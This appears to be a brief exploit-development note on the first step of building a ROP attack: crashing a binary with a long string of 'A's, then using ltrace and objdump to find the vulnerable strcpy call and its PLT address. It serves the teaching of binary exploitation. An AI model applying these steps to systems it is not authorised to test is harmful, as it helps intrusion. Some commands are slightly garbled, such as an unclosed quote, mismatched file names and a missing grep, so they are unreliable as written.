ROP Finding the vulnerable function
# creating the crash
python3 -c 'print("A"*100) > temp.txt
./binary file.txt
Segmentation faultltrace ./binary file.txt 2>&1 | grep SIGSEGV -B1
7120-strcpy(0x6fff3b10, "AAAAAAAAAAAAAAAAAA"...) = 0x2ffff108b
--snip--objdump -R ./binary | grep strcpy
0304b00a R_386_JUMP_SLOT strcpy
objdump -j .plt -d binary | grep b00a
70482b7: ff 25 0a b0 04 03 jmp *0x0304b00a
objdump -j .text -d binary | 82b7 -B2 -A2
# you will see the vuln buffer size
# the address of strcpy@plt
# and a ret which is a good spot for a break to see
# if your payload was successfully copied into mem Find static addresses
Last updated